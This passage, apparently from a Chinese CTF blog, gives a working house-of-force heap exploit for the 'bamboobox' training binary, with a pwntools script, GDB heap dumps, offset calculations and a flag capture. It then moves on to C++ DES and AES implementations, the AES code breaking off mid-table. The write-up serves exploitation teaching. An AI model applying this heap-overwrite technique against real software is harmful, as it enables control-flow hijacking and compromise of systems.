Size: 0x20fa1

pwndbg>

堆的内存分布f

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0x603020: 0x0000000000000000 0x0000000000000021 #chunk0
0x603030: 0x00000a6161616161 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021 #chunk1
0x603050: 0x00000a6262626262 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1 #top_chunk
......(省略内容均为空)
0x6030e0: 0x0000000000000000 0x0000000000000000
pwndbg>

全局变量

1
2
3
4
5
6
.bss:00000000006020C0                 public itemlist
.bss:00000000006020C0 ; item itemlist[100]
.bss:00000000006020C0 itemlist item 64h dup(<?>) ; DATA XREF: add_item+A4↑o
.bss:0000000000602700 public num
.bss:0000000000602700 ; int num
.bss:0000000000602700 num dd ? ; DATA XREF: show_item+8↑r
  • itemlist[] 记录着堆块的指针

  • num 记录着堆块的数量。

查看一下堆指针信息

1
2
3
4
5
6
7
8
9
10
pwndbg> x/10gx 0x6020c0
0x6020c0 <itemlist>: 0x000000000000000a 0x0000000000603030 #chunk0
#struct_size #struct_content_ptr
0x6020d0 <itemlist+16>: 0x0000000000000014 0x0000000000603050 #chunk1
#struct_size #struct_content_ptr
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000 0x0000000000000000
pwndbg>
//注意struct_content_ptr指向malloc出来malloc_data的地址

保存着每一个chunk的 size(输入的大小) 和 chunk地址

攻击原理及exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')

def cmd(choice):
p.sendlineafter('',str(choice))

def create(size,content):
cmd(2)
p.sendlineafter('item name:',str(size))
p.sendlineafter('item:',content)

def edit(index,size,content):
cmd(3)
p.sendlineafter('of item:',str(index))
p.sendlineafter('item name:',str(size))
p.sendlineafter('the item:',content)

def delete(index):
cmd(4)
p.sendlineafter('of item:',str(index))

def quit():
cmd(5)

magic = 0x400d49
create(0x30, "aaaa")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'bbbb')
create(0x10,p64(magic)*2)
quit()
p.interactive()

payload 分析

我们的目标是修改堆中的0x4008b1(goodbye_message)为magic函数地址:

1
2
3
4
5
6
7
8
9
10
11
12
--------------------------------------------------------------------------
修改之前:
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
--------------------------------------------------------------------------
我们所期望的:
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0x603010: 0x0000000000400896 0x0000000000400d49
#hello_message #magic函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def cmd(choice):
p.sendlineafter('',str(choice))

def create(size,content):
cmd(2)
p.sendlineafter('item name:',str(size))
p.sendlineafter('item:',content)

def edit(index,size,content):
cmd(3)
p.sendlineafter('of item:',str(index))
p.sendlineafter('item name:',str(size))
p.sendlineafter('the item:',content)

def delete(index):
cmd(4)
p.sendlineafter('of item:',str(index))

def quit():
cmd(5)

首先来看第一部分的payload,这些代码的主要功能是自动化执行程序的功能。也是exp中最基础的部分,没有什么好说的。

1
create(0x30, "aaaa")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x601000 0x602000 r--p 1000 1000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x602000 0x603000 rw-p 1000 2000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox
0x603000 0x624000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

执行完上面的payload之后堆块的状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x0000000a61616161 0x0000000000000000
0xe80040: 0x0000000000000000 0x0000000000000000
0xe80050: 0x0000000000000000 0x0000000000000000
0xe80060: 0x0000000000000000 0x0000000000020fa1 #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
0xe80080: 0x0000000000000000 0x0000000000000000
0xe80090: 0x0000000000000000 0x0000000000000000
0xe800a0: 0x0000000000000000 0x0000000000000000
0xe800b0: 0x0000000000000000 0x0000000000000000
0xe800c0: 0x0000000000000000 0x0000000000000000
0xe800d0: 0x0000000000000000 0x0000000000000000
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

然后我们编辑刚才创建的堆块(index0):

1
2
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #func_start_malloc_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffff #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

从上面的内容可以看到,top_chunk的size已经被更改为0xffffffffffffffff,利用它我们就可以控制任意内存的地址。继续向下看paylaod:

1
2
offset=-0x60-0x10
create(offset,'bbbb')

这个offset怎么来的?

首先要明确目标为修改goodbye_message函数为magic函数。在gdb调试中,goodbye_message函数指针的地址为:0xe80010,现在的top_chunk地址为0xe80060

要想修改地址,应该将 top_chunk 指向0xe80000(heap_base)处,这样当下次再分配chunk时,就可以分配到goodbye_message处的内存了。

如何计算?本题是向低地址移动,将上一小节的公式带入到本题中:

malloc_size=0xe80000-0xe80060-0x10=-0x70

因此要malloc(-0x70),完成此步骤之后堆内存如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000059 #new_top_chunk
0xe80010: 0x0000000000400896 0x00000000004008b1
#hello_message #goodbye_message
0xe80020: 0x0000000000000000 0x0000000000000041 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffa1 #old_top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

此时已经可以控制goodbye_message的地址,覆盖后退出程序就可以触发magic函数。

1
create(0x10,p64(magic)*2)
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0xe80000
0xe80000: 0x0000000000000000 0x0000000000000021 #现在已经被控制的chunk
0xe80010: 0x0000000000400d49 0x0000000000400d49
#hello_message #magic
0xe80020: 0x0000000000000000 0x0000000000000039 #chunk0(malloc(0x30))
0xe80030: 0x6161616161616161 0x6161616161616161
0xe80040: 0x6161616161616161 0x6161616161616161
0xe80050: 0x6161616161616161 0x6161616161616161
0xe80060: 0x3131313131313131 0xffffffffffffffa1 #top_chunk
0xe80070: 0x0000000000000000 0x0000000000000000
......(省略内容均为空)
0xe800e0: 0x0000000000000000 0x0000000000000000
pwndbg>

debug-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
➜  ~ cd Desktop/
'5.exit\n'
'----------------------------\n'
'Your choice:'
[DEBUG] Sent 0x5 bytes:
'bbbb\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x117 bytes:
'invaild choice!!!\n'
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:Please enter the length of item name:'
[DEBUG] Sent 0x3 bytes:
'16\n'
[DEBUG] Received 0x1e bytes:
'Please enter the name of item:'
[DEBUG] Sent 0x11 bytes:
00000000 49 0d 40 00 00 00 00 00 49 0d 40 00 00 00 00 00 │I·@·│····│I·@·│····│
00000010 0a │·│
00000011
[DEBUG] Received 0x1d2 bytes:
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:invaild choice!!!\n'
'----------------------------\n'
'Bamboobox Menu\n'
'----------------------------\n'
'1.show the items in the box\n'
'2.add a new item\n'
'3.change the item in the box\n'
'4.remove the item in the box\n'
'5.exit\n'
'----------------------------\n'
'Your choice:'
[DEBUG] Sent 0x2 bytes:
'5\n'
[*] Switching to interactive mode
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:invaild choice!!!
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:[*] Process './bamboobox' stopped with exit code 0 (pid 29277)
[DEBUG] Received 0x15 bytes:
'flag{house_of_force}\n'
flag{house_of_force}
[*] Got EOF while reading in interactive
$

可以看到已经打印出来了 flag

DES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#include <bits/stdc++.h>
using namespace std;
string string_to_hex(const string& str) //字符串转化为十六进制
{
string result="";
string tmp;
stringstream ss;
for(int i=0;i<str.size();i++)
{
ss<<hex<<int(str[i])<<endl;
ss>>tmp;
result+=tmp;
}
return result;
}
string hex_to_string(const std::string& str)
{
std::string result;
for (size_t i = 0; i < str.length(); i += 2)//十六进制两个字符为原始字符一个字符
{
std::string byte = str.substr(i, 2);//每次切两个字符
//将十六进制的string转成long再强转成int再转成char
char chr = (char)(int)strtol(byte.c_str(), NULL, 16);
result.push_back(chr);//将处理完的字符压入result中
}
return result;
}

string hex2bin(string s)
{
//十六进制转化为二进制
unordered_map<char, string> mp;
mp['0'] = "0000";
mp['1'] = "0001";
mp['2'] = "0010";
mp['3'] = "0011";
mp['4'] = "0100";
mp['5'] = "0101";
mp['6'] = "0110";
mp['7'] = "0111";
mp['8'] = "1000";
mp['9'] = "1001";
mp['A'] = "1010";
mp['B'] = "1011";
mp['C'] = "1100";
mp['D'] = "1101";
mp['E'] = "1110";
mp['F'] = "1111";
string bin = "";
for (int i = 0; i < s.size(); i++) {
bin += mp[s[i]];
}
return bin;
}
string bin2hex(string s)
{
// 二进制转化为16进制
unordered_map<string, string> mp;
mp["0000"] = "0";
mp["0001"] = "1";
mp["0010"] = "2";
mp["0011"] = "3";
mp["0100"] = "4";
mp["0101"] = "5";
mp["0110"] = "6";
mp["0111"] = "7";
mp["1000"] = "8";
mp["1001"] = "9";
mp["1010"] = "A";
mp["1011"] = "B";
mp["1100"] = "C";
mp["1101"] = "D";
mp["1110"] = "E";
mp["1111"] = "F";
string hex = "";
for (int i = 0; i < s.length(); i += 4) {
string ch = "";
ch += s[i];
ch += s[i + 1];
ch += s[i + 2];
ch += s[i + 3];
hex += mp[ch];
}
return hex;
}

string permute(string k, int* arr, int n)
{
string per = "";
for (int i = 0; i < n; i++) {
per += k[arr[i] - 1];
}
return per;
}

string shift_left(string k, int shifts)
{
string s = "";
for (int i = 0; i < shifts; i++) {
for (int j = 1; j < 28; j++) {
s += k[j];
}
s += k[0];
k = s;
s = "";
}
return k;
}

string xor_(string a, string b)
{
string ans = "";
for (int i = 0; i < a.size(); i++) {
if (a[i] == b[i]) {
ans += "0";
}
else {
ans += "1";
}
}
return ans;
}
string encrypt(string pt, vector<string> rkb,
vector<string> rk)
{
// 16->2
pt = hex2bin(pt);

// 初始置换
int initial_perm[64]
= { 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44,
36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22,
14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57,
49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35,
27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13,
5, 63, 55, 47, 39, 31, 23, 15, 7 };
// 初始置换
pt = permute(pt, initial_perm, 64);
cout << "初始置换后: " << bin2hex(pt)
<< endl;

// 拆分成左右32比特
string left = pt.substr(0, 32);
string right = pt.substr(32, 32);
cout << "拆分后: L0=" << bin2hex(left)
<< " R0=" << bin2hex(right) << endl;

// E盒扩展
int exp_d[48]
= { 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1 };

// S盒
int s[8][4][16] = {
{ 14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5,9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6,12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13 },
{ 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9 },
{ 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12 },
{ 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14 },
{ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 },
{ 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13 },
{ 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12 },
{ 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11 }
};

// P盒置换
int per[32]
= { 16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23,
26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27,
3, 9, 19, 13, 30, 6, 22, 11, 4, 25 };

cout << endl;
for (int i = 0; i < 16; i++) {
string right_expanded = permute(right, exp_d, 48);

string x = xor_(rkb[i], right_expanded);

// S
string op = "";
for (int i = 0; i < 8; i++) {
int row = 2 * int(x[i * 6] - '0')
+ int(x[i * 6 + 5] - '0');
int col = 8 * int(x[i * 6 + 1] - '0')
+ 4 * int(x[i * 6 + 2] - '0')
+ 2 * int(x[i * 6 + 3] - '0')
+ int(x[i * 6 + 4] - '0');
int val = s[i][row][col];
op += char(val / 8 + '0');
val = val % 8;
op += char(val / 4 + '0');
val = val % 4;
op += char(val / 2 + '0');
val = val % 2;
op += char(val + '0');
}
op = permute(op, per, 32);

x = xor_(op, left);

left = x;

// 交换左右
if (i != 15) {
swap(left, right);
}
cout << "轮数: " << i + 1 << " " << bin2hex(left)
<< " " << bin2hex(right) << " " << rk[i]
<< endl;
}

// 左右结合
string combine = left + right;

// IP逆置换
int final_perm[64]
= { 40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47,
15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22,
62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36,
4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11,
51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58,
26, 33, 1, 41, 9, 49, 17, 57, 25 };

string cipher = bin2hex(permute(combine, final_perm, 64));
return cipher;
}

int main()
{
string pt, key;
cout<<"请输入明文: ";
cin>>pt;
cout<<"请输入密文: ";
cin>>key;
pt = string_to_hex(pt);
cout<<pt;
key = string_to_hex(key);
key = hex2bin(key);
int keyp[56]
= { 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34,
26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3,
60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7,
62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37,
29, 21, 13, 5, 28, 20, 12, 4 };

//密钥生成
key = permute(key, keyp, 56);

int shift_table[16] = { 1, 1, 2, 2, 2, 2, 2, 2,
1, 2, 2, 2, 2, 2, 2, 1 };

int key_comp[48] = { 14, 17, 11, 24, 1, 5, 3, 28,
15, 6, 21, 10, 23, 19, 12, 4,
26, 8, 16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55, 30, 40,
51, 45, 33, 48, 44, 49, 39, 56,
34, 53, 46, 42, 50, 36, 29, 32 };
string left = key.substr(0, 28);
string right = key.substr(28, 28);

vector<string> rkb;
vector<string> rk;
for (int i = 0; i < 16; i++) {
left = shift_left(left, shift_table[i]);
right = shift_left(right, shift_table[i]);

string combine = left + right;

string RoundKey = permute(combine, key_comp, 48);

rkb.push_back(RoundKey);
rk.push_back(bin2hex(RoundKey));
}

cout << "加密:\n";
string cipher = encrypt(pt, rkb, rk);
cout << "密文: " << cipher << endl;

cout << "解密:\n";
reverse(rkb.begin(), rkb.end());
reverse(rk.begin(), rk.end());
string text = encrypt(cipher, rkb, rk);
text = hex_to_string(text);
cout << "明文: " << text << endl;
}

AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
#include <iostream>
#include <bits/stdc++.h>
#include <stdint.h>
#include<iomanip>
void AddRoundKey(uint8_t mtx[],uint32_t w[]);
uint32_t SubKeys(uint32_t temp);
void SubBytes(uint8_t mtx[],int len);
void KeyExpansion(uint8_t key[], uint32_t new_key[]);
void Display(uint8_t Matrix[]);
void DisplayKeys(uint8_t Matrix[][16]);
uint32_t left_bit_move(uint32_t val, int n);
using namespace std;
uint32_t T[4][256];//存储4张列混淆表
int mixCol[4][4] = {
{0x02, 0x03, 0x01, 0x01},
{0x01, 0x02, 0x03, 0x01},
{0x01, 0x01, 0x02, 0x03},
{0x03, 0x01, 0x01, 0x02}
};//列混淆矩阵
uint8_t S_Box[16][16] =
{
{0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76},
{0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0},
{0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15},
{0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75},
{0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84},
{0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF},
{0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8},
{0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2},
{0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73},
{0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB},
{0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79},
{0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08},
{0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A},
{0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E},
{0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF},
{0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16}
};
//逆S盒
uint8_t Inv_S_Box[16][16] =
{
{0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB},
{0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB},
{0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E},
{0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25},
{0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92},
{0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84},
{0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06},
{0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B},
